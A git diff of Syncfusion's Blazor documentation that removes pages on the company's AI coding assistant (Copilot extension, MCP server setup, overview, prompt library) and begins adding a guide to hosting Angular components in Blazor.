-*	Context-aware troubleshooting for complex scenarios.
-
-## Prerequisites
-
-Before using this extension, ensure you have:
-
-* [Github copilot](https://github.com/copilot/)
-* An active Syncfusion<sup style="font-size:70%">&reg;</sup> license (any of the following):
-  - [Commercial License](https://www.syncfusion.com/sales/unlimitedlicense)
-  - [Free Community License](https://www.syncfusion.com/products/communitylicense)
-  - [Free Trial](https://www.syncfusion.com/account/manage-trials/start-trials)
-* An active [API KEY](https://syncfusion.com/account/api-key)
-
-## Unlimited Access
-
-Syncfusion<sup style="font-size:70%">&reg;</sup> offers unlimited access to this copilot extension. There are no restrictions on:
-
-* Number of requests
-* Components usage
-* Query types
-* Usage duration
-
-This ensures users can fully leverage Syncfusion<sup style="font-size:70%">&reg;</sup> components to enhance their development experience without limitations.
-
-## Installation
-
-* Visit the [SyncfusionBlazor GitHub App](https://github.com/apps/syncfusionblazor) and click **Install**.
-* Grant the required read-access permissions to allow the extension to function with Copilot chat.
-* Click **Install & Authorize**.
-* Sign in with your Syncfusion<sup style="font-size:70%">&reg;</sup> account to authenticate and link the extension to your GitHub account. The API key is automatically retrieved upon successful authentication.
-* Restart your development environment (e.g., VS Code or GitHub Copilot) and start a new Copilot chat session to use the extension.
-
-## Getting Started
-
-* Open the chat panel in a supported environment like [GitHub Copilot](https://github.com/copilot) or VSCode Copilot.
-* Type `@` in the chat prompt and select the `SyncfusionBlazor` from the list of extensions.
-* Enter a query related to Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components (e.g., configuration, implementation, or troubleshooting).
-
-### Mode availability in VS code
-
-Syncfusion<sup style="font-size:70%">&reg;</sup> Copilot extension provide full access to all AI interaction modes — Ask, Edit, and Agent — when integrated with VS code.
-
-### Best Practices for Effective Usage
-
-1. `Be specific`: Mention both platform and component (e.g., "How do I create a Syncfusion Blazor Grid with paging and filtering?").
-2. `Provide context`: Include details about your use case for more targeted solutions.
-3. `Use descriptive queries`: Avoid vague questions that lack necessary context.
-4. `Start fresh for new topics`: Begin a new chat session when switching components or topics.
-
-## Example Queries
-
-Here are some examples of queries you can use with the Syncfusion<sup style="font-size:70%">&reg;</sup> Copilot extensions:
-
-* "@SyncfusionBlazor Create a Syncfusion data grid with paging and sorting"
-* "@SyncfusionBlazor How do I implement a responsive Syncfusion chart with tooltips?"
-* "@SyncfusionBlazor Show me a Syncfusion Kanban board implementation with drag and drop"
-
-## Uninstallation
-
-To remove the extension from your account:
-
-* Go to [GitHub App Installations](https://github.com/settings/installations/).
-* Locate the `SyncfusionBlazor` extension in the list.
-* Click `Configure`, then select `Uninstall`.
-
-## Support
-
-* [Support tickets](https://support.syncfusion.com/support/tickets/create) - Guaranteed Response in 24 hours \| Unlimited tickets \| Holiday support
-* [Community forum](https://www.syncfusion.com/forums/blazor-components)
-* [Request feature or report bug](https://www.syncfusion.com/feedback/blazor-components)
-* Live chat
-
-## See also
-
-* [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Documentation](https://blazor.syncfusion.com/documentation)
-* [Github Copilot Documentation](https://docs.github.com/en/copilot)
\ No newline at end of file
diff --git a/blazor/ai-coding-assistant/mcp-server.md b/blazor/ai-coding-assistant/mcp-server.md
deleted file mode 100644
index 1366cff12a..0000000000
--- a/blazor/ai-coding-assistant/mcp-server.md
+++ /dev/null
@@ -1,263 +0,0 @@
----
-layout: post
-title: SyncfusionBlazorAssistant MCP server | Syncfusion
-description: Learn how to configure and use SyncfusionBlazorAssistant MCP server for intelligent code generation, documentation, and troubleshooting in Blazor applications.
-control: Getting started with SyncfusionBlazorAssistant MCP Server
-platform: Blazor
-documentation: ug
----
-
-# SyncfusionBlazorAssistant MCP server
-
-## Overview
-
-The [SyncfusionBlazorAssistant](https://www.npmjs.com/package/@syncfusion/blazor-assistant) is a specialized [Model Context Protocol (MCP)](https://modelcontextprotocol.io/docs/getting-started/intro) server that provides intelligent assistance for developers using Syncfusion Blazor component libraries. This tool seamlessly integrates with compatible [MCP clients](https://modelcontextprotocol.io/clients) to enhance your development workflow when building Blazor applications with Syncfusion<sup style="font-size:70%">&reg;</sup> components.
-
-### Key benefits
-
-* Intelligent code generation for Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components.
-* Detailed component documentation and usage examples.
-* Troubleshooting assistance for common integration challenges.
-
-## Prerequisites
-
-Before using [SyncfusionBlazorAssistant](https://www.npmjs.com/package/@syncfusion/blazor-assistant), ensure you have:
-
-* Required [Node.js](https://nodejs.org/en/) version >= 18
-* A [compatible MCP client](https://modelcontextprotocol.io/clients) (Visual Studio Code with GitHub Copilot, [Syncfusion<sup style="font-size:70%">&reg;</sup> Code Studio](https://www.syncfusion.com/code-studio/), etc.)
-* An active Syncfusion<sup style="font-size:70%">&reg;</sup> license (any of the following):
-  - [Commercial License](https://www.syncfusion.com/sales/unlimitedlicense)
-  - [Free Community License](https://www.syncfusion.com/products/communitylicense)
-  - [Free Trial](https://www.syncfusion.com/account/manage-trials/start-trials)
-* An active [API key](https://www.syncfusion.com/account/api-key)
-
-## Unlimited access
-
-Syncfusion<sup style="font-size:70%">&reg;</sup> offers unlimited access to this MCP server. There are no restrictions on:
-
-* Number of requests
-* Components usage
-* Query caps
-* Usage duration
-
-This ensures users can fully leverage Syncfusion<sup style="font-size:70%">&reg;</sup> components to enhance their development experience without limitations.
-
-## Installation and setup
-
-Before you can invoke the `SyncfusionBlazorAssistant` MCP server, you need to configure your MCP client with these core settings. The **Generic MCP Server Settings** shown below are identical across all clients:
-
-### Generic MCP server settings
-
-- **npm package name**: `@syncfusion/blazor-assistant`
-- **Type**: stdio (standard input/output transport)
-- **Command**: npx
-- **Arguments**: -y
-- **Server name**: syncfusionBlazorAssistant
-
-#### API Key Configuration
-
-There are two options:
-
-* **Using an API Key File (Recommended)**
-
-  Store your API key in a separate file and reference its path in the `Syncfusion_API_Key_Path` environment parameter. This approach is more secure as you don't expose the key directly in configuration files.
-
-  **Supported file formats:** `.txt` or `.key` file
-
-  ```json
-  "env": {
-    "Syncfusion_API_Key_Path": "YOUR_API_KEY_FILE_PATH" // "D:\\syncfusion-key.txt" (or) "D:\\syncfusion-key.key"
-  }
-  ```
-
-* **Direct API Key**
-
-  Paste your `Syncfusion_API_Key` directly in the configuration file's environment parameter.
-
-  ```json
-  "env": {
-    "Syncfusion_API_Key": "YOUR_API_KEY"
-  }
-  ```
-
-Below are setup instructions for popular MCP clients:
-
-### Syncfusion<sup style="font-size:70%">&reg;</sup> Code Studio
-
-* In [Code Studio](https://www.syncfusion.com/code-studio/), open MCP Marketplace, find `SyncfusionBlazorAssistant`, and click Install.
-* When prompted, enter your [Syncfusion API key](https://syncfusion.com/account/api-key) and click Submit to register.
-* It installs locally on your machine and appears in the Installed list.
-* The server is now ready for use in Code Studio. For more details, refer to the [Code Studio documentation](https://help.syncfusion.com/code-studio/reference/configure-properties/mcp/marketplace).
-
-### Visual Studio Code (GitHub Copilot MCP)
-
-* To configure an MCP server for a specific workspace, you can create a `.vscode/mcp.json` file in your workspace folder.
-
-```json
-{
-  "servers": {
-    "syncfusion-blazor-assistant": {
-      "type": "stdio",
-      "command": "npx",
-      "args": [
-        "-y",
-        "@syncfusion/blazor-assistant@latest"
-      ],
-      "env": {
-        "Syncfusion_API_Key_Path": "YOUR_API_KEY_FILE_PATH",
-        // or
-        "Syncfusion_API_Key": "YOUR_API_KEY"
-      }
-    }
-  }
-}
-```
-
-* After updating the configuration in mcp.json, you'll notice a "Start" option at the top of the config. This allows you to easily start the [SyncfusionBlazorAssistant](https://www.npmjs.com/package/@syncfusion/blazor-assistant) server directly from the settings interface without additional commands.
-
-* Confirm the server is active by checking for a message like: `SyncfusionBlazorAssistant is running...` in the output.
-
-* For additional guidance, refer to the [Visual Studio Code documentation](https://code.visualstudio.com/docs/copilot/customization/mcp-servers#_add-an-mcp-server).
-
-### Visual Studio (GitHub Copilot MCP)
-
-* To configure an MCP server for a specific workspace, you can create a `.vs/mcp.json` file in your workspace folder.
-
-```json
-{
-  "servers": {
-    "syncfusion-blazor-assistant": {
-      "type": "stdio",
-      "command": "npx",
-      "args": [
-        "-y",
-        "@syncfusion/blazor-assistant@latest"
-      ],
-      "env": {
-        "Syncfusion_API_Key_Path": "YOUR_API_KEY_FILE_PATH",
-        // or
-        "Syncfusion_API_Key": "YOUR_API_KEY"
-      }
-    }
-  }
-}
-```
-
-* After updating the mcp.json configuration, open the GitHub Copilot Chat window. Click the Ask arrow, then select Agent.
-* Select the [SyncfusionBlazorAssistant](https://www.npmjs.com/package/@syncfusion/blazor-assistant) from the tools section.
-* For more details, refer to the official [Visual Studio documentation](https://learn.microsoft.com/en-us/visualstudio/ide/mcp-servers?view=vs-2022).
-
-### Cursor
-
-To configure an MCP server for a specific workspace, you can create a `.cursor/mcp.json` file in your workspace folder.
-
-```json
-{
-  "mcpServers": {
-    "syncfusion-blazor-assistant": {
-      "type": "stdio",
-      "command": "npx",
-      "args": [
-        "-y",
-        "@syncfusion/blazor-assistant@latest"
-      ],
-      "env": {
-        "Syncfusion_API_Key_Path": "YOUR_API_KEY_FILE_PATH",
-        // or
-        "Syncfusion_API_Key": "YOUR_API_KEY"
-      }
-    }
-  }
-}
-```
-
-For more details, refer to the [Cursor documentation](https://cursor.com/docs/context/mcp#using-mcp-json).
-
-### JetBrains IDEs
-
-* Go to Settings -> Tools -> AI Assistant -> Model Context Protocol (MCP).
-* Click + Add to add a new MCP server configuration.
-* In the New MCP Server dialog, switch the dropdown as `As JSON` and add the following config:
-
-```json
-{
-  "mcpServers": {
-    "syncfusion-blazor-assistant": {
-      "command": "npx.cmd",
-      "args": [
-        "-y",
-        "@syncfusion/blazor-assistant@latest"
-      ],
-      "env": {
-        "Syncfusion_API_Key_Path": "YOUR_API_KEY_FILE_PATH",
-        // or
-        "Syncfusion_API_Key": "YOUR_API_KEY"
-      }
-    }
-  }
-}
-```
-
-* Click OK and Apply.
- 
-For further assistance, see the [JetBrains documentation](https://www.jetbrains.com/help/ai-assistant/mcp.html#connect-to-an-mcp-server).
-
-> For more detailed information about configuring MCP servers in various clients, refer to the official documentation, e.g., [Windsurf](https://docs.windsurf.com/windsurf/cascade/mcp#mcp-config-json)
-
-## Usage
-
-To activate the SyncfusionBlazorAssistant MCP server:
-
-1. Start your prompt with one of the following:
-    * 'SyncfusionBlazorAssistant'
-    * '/syncfusion-blazor-assistant'
-    * '/syncfusion-blazor'
-    * '@syncfusion-blazor'
-    * '@ask_syncfusion_blazor'
-    * 'ej2-blazor'
-
-   In Visual Studio Code, use `#SyncfusionBlazorAssistant` for direct invocation.
-
-2. Grant permission for the server to run (for the session, workspace, or always).
-3. For best results, start a new chat for each new topic to maintain clean context.
-
-### Mode availability
-
-Syncfusion<sup style="font-size:70%">&reg;</sup> MCP Servers provide full access to all AI interaction modes — Ask/Chat, Edit, and Agent — across supported MCP clients.
-
-### Best practices for effective usage
-
-1. `Be specific`: Mention both platform and component (e.g., "How do I create a Syncfusion Blazor Grid with paging and filtering?").
-2. `Provide context`: Include details about your use case for more targeted solutions.
-3. `Use descriptive queries`: Avoid vague questions that lack necessary context.
-4. `Start fresh for new topics`: Begin a new chat session when switching components or topics.
-
-### Example Queries
-
-Here are some effective ways to use [SyncfusionBlazorAssistant](https://www.npmjs.com/package/@syncfusion/blazor-assistant):
-
- * "Create a Syncfusion Blazor Grid component with paging, sorting and filtering."
- * "How do I implement data binding with Syncfusion Blazor scheduler?"
- * "Show me how to create a dashboard with multiple Syncfusion components."
-
-## Troubleshooting
-
-If you encounter issues:
-
- * Verify your API key is correctly configured.
- * Ensure the MCP server is enabled in your client's tools selection.
- * Check that you're using a compatible MCP client version.
- * Try restarting your development environment.
-
-## Support
-
-Product support is available through the following channels.
-
-* [Support ticket](https://support.syncfusion.com/support/tickets/create) - Guaranteed Response in 24 hours \| Unlimited tickets \| Holiday support
-* [Community forum](https://www.syncfusion.com/forums/blazor-components)
-* [Request feature or report bug](https://www.syncfusion.com/feedback/blazor-components)
-* Live chat
-
-## See also
-
-* [Syncfusion Blazor documentation](https://blazor.syncfusion.com/documentation)
diff --git a/blazor/ai-coding-assistant/overview.md b/blazor/ai-coding-assistant/overview.md
deleted file mode 100644
index 2dcc8fdc04..0000000000
--- a/blazor/ai-coding-assistant/overview.md
+++ /dev/null
@@ -1,71 +0,0 @@
----
-layout: post
-title: Syncfusion AI Coding Assistant overview | Syncfusion
-description: Learn how the Syncfusion AI Coding Assistant boosts Blazor productivity by generating accurate code snippets, configuration examples, and contextual guidance.
-control: Syncfusion AI Coding Assistant Overview
-platform: Blazor
-documentation: ug
----
-
-# Syncfusion® AI Coding Assistant overview
-
-The **Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistant** is designed to streamline development when building Blazor applications with Syncfusion<sup style="font-size:70%">&reg;</sup> components. It uses contextual knowledge of the Syncfusion<sup style="font-size:70%">&reg;</sup> component library to generate accurate code snippets, configuration examples, and guided explanations—minimizing documentation searches and maximizing productivity.
-
-AI Coding Assistants:
-
-* **SyncfusionBlazorAssistant MCP server**
-  Processes prompts and returns tailored code suggestions through [MCP-compatible clients](https://modelcontextprotocol.io/clients).
-
-## Getting started
-
-To use the AI Coding Assistant, the following are required:
-
-* A [Syncfusion<sup style="font-size:70%">&reg;</sup> user account](https://www.syncfusion.com/account)
-* An active Syncfusion<sup style="font-size:70%">&reg;</sup> license (any of the following):
-  - [Commercial License](https://www.syncfusion.com/sales/unlimitedlicense)
-  - [Free Community License](https://www.syncfusion.com/products/communitylicense)
-  - [Free Trial](https://www.syncfusion.com/account/manage-trials/start-trials)
-* An active [API key](https://www.syncfusion.com/account/api-key)
-* A [Blazor application that includes SyncfusionBlazor](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
-
-## Unlimited access
-
-Syncfusion<sup style="font-size:70%">&reg;</sup> offers unlimited access to the AI Coding Assistant with no limitations on:
-
-* Number of requests
-* Components usage
-* Query caps
-* Usage duration
-
-This ensures users can fully leverage Syncfusion<sup style="font-size:70%">&reg;</sup> components to enhance their development experience without limitations.
-
-## Best practices
-
-* Initial Setup: Use the tools to quickly add and configure Syncfusion<sup style="font-size:70%">&reg;</sup> components in your Blazor application.
-* Feature Tuning: Enable or disable component features through prompt-based configuration for tailored functionality.
-* Data Binding: Generate sample data for testing and prototyping. Avoid using sensitive or production data to ensure security.
-* Step-by-step explanations: Use annotated code to understand component behavior. The level of detail may vary based on the tool, mode, and AI model. Refer to the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor documentation](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) for in-depth information.
-* Troubleshooting: Resolve common issues with AI-generated suggestions. For complex problems, see the [documentation](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) or contact [support](https://support.syncfusion.com/support/tickets/create).
-
-* Troubleshooting: Resolve common issues with AI-generated suggestions. For complex problems, refer to [documentation](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) or [support](https://support.syncfusion.com/support/tickets/create).
-
-> Always check AI-generated content and code for accuracy before using it.
-
-## Recommendations
-
-* Session Management: Start new sessions when switching tasks to ensure prompt relevance and maintain content focus.
-* Model compatibility: For optimal performance, use the tools with advanced AI models such as GPT-5 or Claude Sonnet 4.
-
-## Privacy and data handling
-
-The Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistant is designed with privacy in mind:
-
-* The tools do not access your project files or workspace directly.
-* User prompts are not stored by any of the tools or used for any other purpose.
-* Prompts are not used to train Syncfusion<sup style="font-size:70%">&reg;</sup> models.
-* The assistant provides context, while the final output is generated by the AI model selected in your client.
-
-## See also
-
-* Add the [SyncfusionBlazorAssistant MCP server](https://blazor.syncfusion.com/documentation/ai-coding-assistant/mcp-server) to an MCP-enabled client
-* [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor documentation](https://blazor.syncfusion.com/documentation)
diff --git a/blazor/ai-coding-assistant/prompt-library.md b/blazor/ai-coding-assistant/prompt-library.md
deleted file mode 100644
index 433971e8d9..0000000000
--- a/blazor/ai-coding-assistant/prompt-library.md
+++ /dev/null
@@ -1,270 +0,0 @@
----
-layout: post
-title: Syncfusion AI Coding Assistant Prompt Library | Syncfusion
-description: Explore the AI Coding Assistant Prompt Library to enhance Blazor development productivity with code generation, configuration examples, and contextual guidance.
-control: Syncfusion AI Coding Assistant Prompt Library
-platform: Blazor
-documentation: ug
-domainurl: ##DomainURL##
----
-
-# Prompt Library - AI Coding Assistant
-
-Speed up your Blazor projects using these ready-made prompts for popular Syncfusion components. Each prompt is short, easy to understand, and focused on real tasks—like quick setups, tweaks, and fixes.
-
-## How to Use
-
-Before starting, make sure your MCP Server is set up and running.
-
-* Choose a prompt that fits your need.
-* Copy the full prompt with the #SyncfusionBlazorAssistant handle.
-* Customize the prompt for your specific use case.
-* Execute via the MCP Server.
-* Always check and test the code before adding it to your project.
-
-## Component-Specific Prompts
-
-### Grid
-
-The Syncfusion Blazor Data Grid delivers fast, flexible tables for large datasets with built-in interactivity.
-
-{% promptcards %}
-{% promptcard Paging and Sorting %}
-#SyncfusionBlazorAssistant How do I enable paging and sorting in the Syncfusion Blazor Grid?
-{% endpromptcard %}
-{% promptcard Grouping and Filtering %}
-#SyncfusionBlazorAssistant Show me an example of grouping and filtering data in the Grid component.
-{% endpromptcard %}
-{% promptcard CRUD Operations %}
-#SyncfusionBlazorAssistant What’s the code to implement full CRUD operations in Syncfusion Blazor Grid?
-{% endpromptcard %}
-{% promptcard Grid Export to PDF and Excel %}
-#SyncfusionBlazorAssistant How can I add PDF and Excel export options to the Grid toolbar?
-{% endpromptcard %}
-{% promptcard Virtual Scrolling %}
-#SyncfusionBlazorAssistant How do I configure virtual scrolling for large datasets in the Grid?
-{% endpromptcard %}
-{% promptcard Multicolumn Grid Setup %}
-#SyncfusionBlazorAssistant Create a multicolumn Grid to display product details with sorting and filtering.
-{% endpromptcard %}
-{% promptcard Chat Integration %}
-#SyncfusionBlazorAssistant How can I integrate a chat widget inside each row of the Syncfusion Grid?
-{% endpromptcard %}
-{% promptcard Advanced Grid Features %}
-#SyncfusionBlazorAssistant Show me a Grid with paging, sorting, grouping, filtering, and virtual scrolling
-{% endpromptcard %}
-{% promptcard Troubleshooting Grid Export %}
-#SyncfusionBlazorAssistant Why isn’t my Grid exporting to PDF and Excel correctly?
-{% endpromptcard %}
-{% promptcard Inline Editing %}
-#SyncfusionBlazorAssistant How do I enable inline editing for CRUD operations in the Grid?
-{% endpromptcard %}
-{% promptcard Custom Toolbar %}
-#SyncfusionBlazorAssistant Add custom toolbar buttons for PDF and Excel export in the Grid.
-{% endpromptcard %}
-{% promptcard Dynamic Column Configuration %}
-#SyncfusionBlazorAssistant How can I dynamically configure multicolumn layout with filtering and sorting?
-{% endpromptcard %}
-{% endpromptcards %}
-
-### Chart
-
-The Syncfusion Blazor Chart suite offers versatile visualization tools across various series types for insightful data representation.
-
-{% promptcards %}
-{% promptcard Local and Remote Data %}
-#SyncfusionBlazorAssistant How do I bind both local and remote data sources to a Syncfusion Chart?
-{% endpromptcard %}
-{% promptcard Range Selection %}
-#SyncfusionBlazorAssistant Show me how to enable range selection in a Syncfusion Blazor Chart.
-{% endpromptcard %}
-{% promptcard Chart Types Overview %}
-#SyncfusionBlazorAssistant What chart types are available in Syncfusion Blazor Chart and how to configure them?
-{% endpromptcard %}
-{% promptcard Markers and Data Labels %}
-#SyncfusionBlazorAssistant How can I display markers and data labels on a line chart?
-{% endpromptcard %}
-{% promptcard Annotations %}
-#SyncfusionBlazorAssistant Add custom annotations to highlight specific data points in a chart.
-{% endpromptcard %}
-{% promptcard Chart Export to Image or PDF %}
-#SyncfusionBlazorAssistant How do I export a Syncfusion Chart to PDF or image format?
-{% endpromptcard %}
-{% promptcard Print Support %}
-#SyncfusionBlazorAssistant Enable print functionality for a Syncfusion Blazor Chart component.
-{% endpromptcard %}
-{% promptcard Dynamic Chart with Remote Data %}
-#SyncfusionBlazorAssistant Create a chart that updates dynamically with remote API data.
-{% endpromptcard %}
-{% promptcard Multiple Series Types %}
-#SyncfusionBlazorAssistant How do I combine bar and line chart types in a single Syncfusion Chart?
-{% endpromptcard %}
-{% promptcard Troubleshooting Chart Data Binding %}
-#SyncfusionBlazorAssistant Why isn’t my remote data showing up in the Syncfusion Chart?
-{% endpromptcard %}
-{% promptcard Interactive Range Selector %}
-#SyncfusionBlazorAssistant Configure a range selector for zooming and filtering in a time-series chart.
-{% endpromptcard %}
-{% promptcard Custom Markers and Labels %}
-#SyncfusionBlazorAssistant Show me an example of customizing chart markers and data label styles.
-{% endpromptcard %}
-{% endpromptcards %}
-
-### Schedule
-
-The Syncfusion Blazor Schedule component helps manage events, resources, and timelines with powerful views and customization.
-
-{% promptcards %}
-{% promptcard Remote Data Binding %}
-#SyncfusionBlazorAssistant Bind the Schedule component to a remote API for dynamic event loading.
-{% endpromptcard %}
-{% promptcard CRUD Actions %}
-#SyncfusionBlazorAssistant Show me how to implement full CRUD operations in the Schedule component.
-{% endpromptcard %}
-{% promptcard Virtual Scrolling %}
-#SyncfusionBlazorAssistant Enable virtual scrolling for large event datasets in the Schedule view.
-{% endpromptcard %}
-{% promptcard Timezone Support %}
-#SyncfusionBlazorAssistant How can I configure timezone support in the Syncfusion Blazor Schedule?
-{% endpromptcard %}
-{% promptcard Export Schedule to PDF or Excel %}
-#SyncfusionBlazorAssistant Add export functionality to download the Schedule view as PDF or Excel.
-{% endpromptcard %}
-{% promptcard Timeline Header Rows %}
-#SyncfusionBlazorAssistant How do I customize timeline header rows in the Schedule component?
-{% endpromptcard %}
-{% promptcard Troubleshooting Schedule CRUD %}
-#SyncfusionBlazorAssistant Why aren’t my CRUD actions working correctly in the Schedule component?
-{% endpromptcard %}
-{% promptcard Local and Remote Data %}
-#SyncfusionBlazorAssistant Bind both local and remote event data to the Schedule component.
-{% endpromptcard %}
-{% promptcard Export and Timezone %}
-#SyncfusionBlazorAssistant Configure timezone-aware exporting for the Schedule view.
-{% endpromptcard %}
-{% endpromptcards %}
-
-### Kanban
-
-The Syncfusion Blazor Kanban organizes tasks in columns with drag-and-drop, swimlanes, and templating for agile workflows.
-
-{% promptcards %}
-{% promptcard Data Binding %}
-#SyncfusionBlazorAssistant How do I bind local or remote data to the Syncfusion Blazor Kanban board?
-{% endpromptcard %}
-{% promptcard Sorting %}
-#SyncfusionBlazorAssistant Enable sorting of cards within columns in the Kanban component.
-{% endpromptcard %}
-{% promptcard Swimlane View %}
-#SyncfusionBlazorAssistant Show me how to group Kanban cards using swimlane headers.
-{% endpromptcard %}
-{% promptcard Kanban Card Editing %}
-#SyncfusionBlazorAssistant How can I enable inline editing of Kanban cards?
-{% endpromptcard %}
-{% promptcard Virtualization %}
-#SyncfusionBlazorAssistant Configure virtualization for performance with large Kanban datasets.
-{% endpromptcard %}
-{% promptcard Localization %}
-#SyncfusionBlazorAssistant How do I localize labels and messages in the Kanban component?
-{% endpromptcard %}
-{% promptcard Drag and Drop %}
-#SyncfusionBlazorAssistant Enable drag-and-drop functionality for moving cards between columns.
-{% endpromptcard %}
-{% promptcard Sorting and Swimlane %}
-#SyncfusionBlazorAssistant Create a Kanban board with swimlane grouping and sortable cards.
-{% endpromptcard %}
-{% promptcard Editable Cards and Localization %}
-#SyncfusionBlazorAssistant Show me how to edit cards and apply localization in Kanban.
-{% endpromptcard %}
-{% promptcard Troubleshooting Kanban Drag and Drop %}
-#SyncfusionBlazorAssistant Why isn’t drag-and-drop working correctly in my Kanban board?
-{% endpromptcard %}
-{% promptcard Remote Data and Virtualization %}
-#SyncfusionBlazorAssistant Bind remote data to Kanban and enable virtualization for performance.
-{% endpromptcard %}
-{% promptcard Advanced Kanban Setup %}
-#SyncfusionBlazorAssistant Create a Kanban board with data binding, swimlane, card editing, and drag-and-drop.
-{% endpromptcard %}
-{% endpromptcards %}
-
-### RichTextEditor
-
-The Syncfusion Blazor RichTextEditor offers a modern WYSIWYG editor with extensive formatting, media, and integration features.
-
-{% promptcards %}
-{% promptcard Toolbar Configuration %}
-#SyncfusionBlazorAssistant How do I customize the toolbar options in the Syncfusion RichTextEditor?
-{% endpromptcard %}
-{% promptcard Link Manipulation %}
-#SyncfusionBlazorAssistant Show me how to add, edit, and remove hyperlinks in RichTextEditor content.
-{% endpromptcard %}
-{% promptcard Iframe Mode %}
-#SyncfusionBlazorAssistant How can I render the RichTextEditor inside an iframe for isolated styling?
-{% endpromptcard %}
-{% promptcard Undo and Redo %}
-#SyncfusionBlazorAssistant Enable undo and redo functionality in the RichTextEditor toolbar.
-{% endpromptcard %}
-{% promptcard Forms Integration %}
-#SyncfusionBlazorAssistant How do I integrate a Blazor form and validate input?
-{% endpromptcard %}
-{% promptcard Content Import and Export %}
-#SyncfusionBlazorAssistant Export RichTextEditor content to HTML or import existing HTML content.
-{% endpromptcard %}
-{% promptcard Advanced Toolbar %}
-#SyncfusionBlazorAssistant Create a RichTextEditor with toolbar options for formatting, links, and undo/redo.
-{% endpromptcard %}
-{% promptcard Iframe and Forms Support %}
-#SyncfusionBlazorAssistant Use RichTextEditor in iframe mode and bind it to a form for submission.
-{% endpromptcard %}
-{% promptcard Undo/Redo and Export %}
-#SyncfusionBlazorAssistant Enable undo/redo and export content to HTML in RichTextEditor.
-{% endpromptcard %}
-{% endpromptcards %}
-
-### Calendar
-
-The Syncfusion Blazor Calendar supports flexible date selection, localization, and custom rendering.
-
-{% promptcards %}
-{% promptcard Date Range Selection %}
-#SyncfusionBlazorAssistant How do I enable date range selection in the Syncfusion Blazor Calendar?
-{% endpromptcard %}
-{% promptcard Globalization Support %}
-#SyncfusionBlazorAssistant Configure the Calendar to support multiple cultures and languages.
-{% endpromptcard %}
-{% promptcard Multi-Date Selection %}
-#SyncfusionBlazorAssistant Show me how to allow users to select multiple dates in the Calendar.
-{% endpromptcard %}
-{% promptcard Islamic Calendar Support %}
-#SyncfusionBlazorAssistant How can I switch the Calendar to use the Islamic calendar system?
-{% endpromptcard %}
-{% promptcard Skip Months Feature %}
-#SyncfusionBlazorAssistant Enable skipping months in the Calendar navigation for faster browsing.
-{% endpromptcard %}
-{% promptcard Calendar Showing Other Month Days %}
-#SyncfusionBlazorAssistant How do I show days from adjacent months in the current Calendar view?
-{% endpromptcard %}
-{% promptcard Custom Day Cell Format %}
-#SyncfusionBlazorAssistant Customize the day cell format in the Calendar to show short weekday names.
-{% endpromptcard %}
-{% promptcard Calendar Highlighting Weekends %}
-#SyncfusionBlazorAssistant Highlight weekends in the Calendar with a different background color.
-{% endpromptcard %}
-{% promptcard Globalization and Islamic Calendar %}
-#SyncfusionBlazorAssistant Configure the Calendar for Arabic culture using Islamic calendar and localization.
-{% endpromptcard %}
-{% promptcard Multi-Selection and Range %}
-#SyncfusionBlazorAssistant Enable both multi-date selection and range selection in the Calendar.
-{% endpromptcard %}
-{% promptcard Troubleshooting Calendar Date Range %}
-#SyncfusionBlazorAssistant Why isn’t my Calendar selecting the correct date range?
-{% endpromptcard %}
-{% promptcard Advanced Calendar Setup %}
-#SyncfusionBlazorAssistant Create a Calendar with date range, multi-selection, globalization, and weekend highlights.
-{% endpromptcard %}
-{% endpromptcards %}
-
-## See also
-
-* [AI Coding Assistant Overview](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
-* [SyncfusionBlazorAssistant MCP Server](https://blazor.syncfusion.com/documentation/ai-coding-assistant/mcp-server)
diff --git a/blazor/common/images/angular-blazor-integration.webp b/blazor/common/images/angular-blazor-integration.webp
new file mode 100644
index 0000000000..57087cf825
Binary files /dev/null and b/blazor/common/images/angular-blazor-integration.webp differ
diff --git a/blazor/common/images/blazor-angular-integration.webp b/blazor/common/images/blazor-angular-integration.webp
new file mode 100644
index 0000000000..774cf34e27
Binary files /dev/null and b/blazor/common/images/blazor-angular-integration.webp differ
diff --git a/blazor/common/integration/angular-blazor-integration.md b/blazor/common/integration/angular-blazor-integration.md
new file mode 100644
index 0000000000..e714cf9007
--- /dev/null
+++ b/blazor/common/integration/angular-blazor-integration.md
@@ -0,0 +1,211 @@
+---
+layout: post
+title: Angular Blazor integration | Syncfusion
+description: Learn how to host Syncfusion Angular components into an Blazor app by packaging them as Angular Custom Elements for seamless UI rendering.
+platform: Blazor
+control: Common
+documentation: ug
+---
+
+# Integrating Syncfusion Angular Components in Blazor
+
+This guide explains how to render **Syncfusion Angular components** inside a **Blazor application** by packaging the Angular component as a **Custom Element (Web Component)**. Blazor and Angular use different rendering engines, so Angular cannot run directly inside a Blazor page. However, **Angular Custom Elements** allow Angular components to be compiled into standard HTML tags, enabling seamless integration within Blazor.
+
+## Prerequisites
+
+* .NET 10 SDK 
+* Node.js 18+ 
+* Angular CLI 18+ 
+
+## Creating the Angular Application 
+
+### Create the project
+
+If you already have an Angular project, proceed to custom elements package installation. Otherwise, create a new Angular project following Syncfusion’s documentation.
+
+[Angular Getting Started](https://ej2.syncfusion.com/angular/documentation/getting-started/angular-standalone).
+
+### Install Custom Elements package
+
+To enable Angular Custom Elements, install the package below: 
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %} 
+
+npm i @angular/elements
+
+{% endhighlight %}
+{% endtabs %}
+
+This package enables exporting Angular components as Web Components. This allows Blazor to load Angular UI using a simple HTML tag. 
+
+### Add Syncfusion component
+
+Update your **src/app/app.ts** file to incorporate the Syncfusion® DataGrid component: 
+
+{% tabs %}
+{% highlight ts tabtitle="app.ts" %}
+
+import { Component } from '@angular/core';
+import { GridModule } from '@syncfusion/ej2-angular-grids';
+
+@Component({
+  selector: 'app-root',
+  standalone: true,
+  imports: [GridModule],
+  template: `
+    <ejs-grid [dataSource]="data" height="400">
+      <e-columns>
+        <e-column field="OrderID" headerText="Order ID" width="120"></e-column>
